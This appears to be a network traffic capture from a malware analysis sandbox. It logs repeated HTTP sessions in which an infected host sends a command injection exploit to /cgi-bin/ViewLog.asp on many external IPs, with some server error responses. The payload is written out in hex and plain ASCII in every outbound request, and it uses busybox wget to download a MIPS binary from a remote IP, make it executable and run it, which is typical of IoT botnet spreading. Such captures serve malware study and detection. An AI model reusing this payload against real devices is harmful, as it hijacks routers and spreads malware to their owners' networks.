Nov 23, 2023 05:16:54.310417891 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:31.174328089 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
258	192.168.2.13	35256	85.214.49.137	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:16:17.881105900 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:16:18.096307039 CET	1340	IN	HTTP/1.1 403 Vary: Origin Vary: Access-Control-Request-Method Vary: Access-Control-Request-Headers Set-Cookie: XSRF-TOKEN=babb0e07-6cde-4d11-89d4-fe44d13faf63; Path=/ Content-Disposition: inline;filename=f.txt X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: 0 X-Frame-Options: SAMEORIGIN Content-Security-Policy: default-src 'self'; frame-src 'self' data:; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://storage.googleapis.com; style-src 'self' https://fonts.googleapis.com 'unsafe-inline'; img-src 'self' data:; font-src 'self' https://fonts.gstatic.com data: Referrer-Policy: strict-origin-when-cross-origin Permissions-Policy: camera=(), fullscreen=(self), geolocation=(), gyroscope=(), magnetometer=(), microphone=(), midi=(), payment=(), sync-xhr=() Content-Type: application/problem+json Transfer-Encoding: chunked Date: Thu, 23 Nov 2023 04:16:17 GMT Keep-Alive: timeout=20 Connection: keep-alive Data Raw: 66 36 0d 0a 7b 22 74 79 70 65 22 3a 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 6a 68 69 70 73 74 65 72 2e 74 65 63 68 2f 70 72 6f 62 6c 65 6d 2f 70 72 6f 62 6c 65 6d 2d 77 69 74 68 2d 6d 65 73 73 61 67 65 22 2c 22 74 69 74 6c 65 22 3a 22 46 6f 72 62 69 64 64 65 6e 22 2c 22 73 74 61 74 75 73 22 3a 34 30 33 2c 22 64 65 74 61 69 6c 22 3a 22 43 6f 75 6c 64 20 6e 6f 74 20 76 65 72 69 66 79 20 74 68 65 20 70 72 6f 76 69 64 65 64 20 43 53 52 46 20 74 6f 6b 65 6e 20 62 65 63 61 75 73 65 20 6e 6f 20 74 6f 6b 65 6e 20 77 61 73 20 66 6f 75 6e 64 20 74 6f 20 63 6f 6d 70 61 72 65 2e 22 2c 22 70 61 74 68 22 3a 22 2f 63 67 69 2d 62 69 6e 2f 56 69 65 77 4c 6f 67 2e 61 73 70 22 2c 22 6d 65 73 73 61 67 65 22 3a 22 65 Data Ascii: f6{"type":"https://www.jhipster.tech/problem/problem-with-message","title":"Forbidden","status":403,"detail":"Could not verify the provided CSRF token because no token was found to compare.","path":"/cgi-bin/ViewLog.asp","message":"e

Session ID	Source IP	Source Port	Destination IP	Destination Port
259	192.168.2.13	43556	62.173.152.174	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:16:17.909446955 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:16:18.140130997 CET	293	IN	HTTP/1.1 404 Not Found Server: Apache-Coyote/1.1 Set-Cookie: FCSESSIONID=9CDF331A8262E9F212B783E50D57FF9A; Path=/; HttpOnly Content-Type: text/html;charset=UTF-8 Content-Length: 2833 Date: Thu, 23 Nov 2023 04:16:18 GMT

Session ID	Source IP	Source Port	Destination IP	Destination Port
260	192.168.2.13	42834	95.211.242.106	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:16:17.919853926 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:16:18.127804041 CET	552	IN	HTTP/1.1 400 Bad Request Date: Thu, 23 Nov 2023 04:16:18 GMT Server: Apache/2.4.25 (Debian) Content-Length: 304 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 35 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 31 39 32 2e 31 36 38 2e 30 2e 31 34 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p><hr><address>Apache/2.4.25 (Debian) Server at 192.168.0.14 Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
261	192.168.2.13	36716	31.200.125.211	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:16:17.939512968 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
262	192.168.2.13	36492	94.120.31.21	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:16:17.960352898 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
263	192.168.2.13	43598	62.29.49.48	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:16:17.960992098 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
264	192.168.2.13	37508	94.64.184.0	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:16:17.963525057 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
265	192.168.2.13	38222	31.136.156.110	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:16:21.414766073 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:16:24.614475965 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:16:30.758554935 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:16:42.790446043 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:08.646486998 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:57.798219919 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
266	192.168.2.13	53702	62.28.70.189	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:16:21.416621923 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:16:21.612725019 CET	680	IN	HTTP/1.1 404 Content-Type: text/html;charset=utf-8 Content-Language: en Content-Length: 431 Date: Thu, 23 Nov 2023 04:16:20 GMT Keep-Alive: timeout=5 Connection: keep-alive Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 48 54 54 50 20 53 74 61 74 75 73 20 34 30 34 20 e2 80 93 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 62 6f 64 79 20 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 54 61 68 6f 6d 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 7d 20 68 31 2c 20 68 32 2c 20 68 33 2c 20 62 20 7b 63 6f 6c 6f 72 3a 77 68 69 74 65 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 32 35 44 37 36 3b 7d 20 68 31 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 32 70 78 3b 7d 20 68 32 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 36 70 78 3b 7d 20 68 33 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 34 70 78 3b 7d 20 70 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 7d 20 61 20 7b 63 6f 6c 6f 72 3a 62 6c 61 63 6b 3b 7d 20 2e 6c 69 6e 65 20 7b 68 65 69 67 68 74 3a 31 70 78 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 32 35 44 37 36 3b 62 6f 72 64 65 72 3a 6e 6f 6e 65 3b 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 68 31 3e 48 54 54 50 20 53 74 61 74 75 73 20 34 30 34 20 e2 80 93 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!doctype html><html lang="en"><head><title>HTTP Status 404 Not Found</title><style type="text/css">body {font-family:Tahoma,Arial,sans-serif;} h1, h2, h3, b {color:white;background-color:#525D76;} h1 {font-size:22px;} h2 {font-size:16px;} h3 {font-size:14px;} p {font-size:12px;} a {color:black;} .line {height:1px;background-color:#525D76;border:none;}</style></head><body><h1>HTTP Status 404 Not Found</h1></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
267	192.168.2.13	39374	94.120.226.235	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:16:21.442334890 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
268	192.168.2.13	52758	31.136.185.192	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:16:21.602286100 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:16:22.182482004 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:16:23.334492922 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
